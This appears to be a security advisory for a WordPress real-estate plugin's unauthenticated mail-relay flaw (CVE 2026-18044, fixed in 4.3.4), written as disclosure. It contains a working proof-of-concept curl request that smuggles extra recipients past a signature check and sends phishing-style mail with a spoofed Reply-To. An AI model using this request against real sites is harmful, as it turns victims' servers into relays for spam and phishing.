Estatik Real Estate Plugin < 4.3.4 – Unauthenticated Arbitrary-Recipient Mail Relay via Signed-Value Mismatch | CVE 2026-18044

Description

The plugin does not validate the same recipient list that it later uses to address the message sent by its property request form, allowing unauthenticated users to send emails to arbitrary recipients with arbitrary subject, body and Reply-To on sites where the form is configured to route to a custom address.

Proof of Concept

Prerequisites: Estatik 4.3.3 active, with at least one public page rendering the request form configured to "Send Message To: Other email" (for example agent@site.example). This option is available on the Request Form widget, the Elementor widget and the shortcode. Forms left on the default Admin recipient are not affected.

1. As an unauthenticated visitor, read three static hidden fields from the public page HTML:

   name="uniqid"                          value="<UNIQID>"
   name="es_request_form_nonce_<UNIQID>"  value="<NONCE>"
   name="send_to_emails_signature"        value="<SIG>"

2. Replay the signature verbatim while smuggling extra recipients inside an HTML tag attribute:

curl -sk -X POST 'https://victim.example/wp-admin/admin-ajax.php' \
  --data-urlencode 'action=es_submit_request_form' \
  --data-urlencode 'uniqid=<UNIQID>' \
  --data-urlencode 'es_request_form_nonce_<UNIQID>=<NONCE>' \
  --data-urlencode 'send_to_emails_signature=<SIG>' \
  --data-urlencode 'recipient_type=-1' \
  --data-urlencode 'send_to_emails=<x a=",attacker-chosen@victim.example,">agent@site.example' \
  --data-urlencode 'post_id=<published property id>' \
  --data-urlencode 'subject=Your account requires verification' \
  --data-urlencode 'name=Estatik Support' \
  --data-urlencode 'email=phisher@evil.example' \
  --data-urlencode 'message=Please confirm at https://evil.example/'

Response: {"status":"success", ... "Thank you!" ...}

Expected result, confirmed in the mail catcher rather than from the JSON response:

To:       attacker-chosen@victim.example
Subject:  Your account requires verification
Reply-To: Estatik Support <phisher@evil.example>
From:     wordpress@victim.example

The address the form is configured with receives nothing. A three-address variant delivered to all three recipients. There is no rate limiting: ten pipelined requests reusing a single nonce and signature all succeeded and delivered ten messages.

On 4.3.4 the same request is accepted and the message is delivered only to the configured recipient.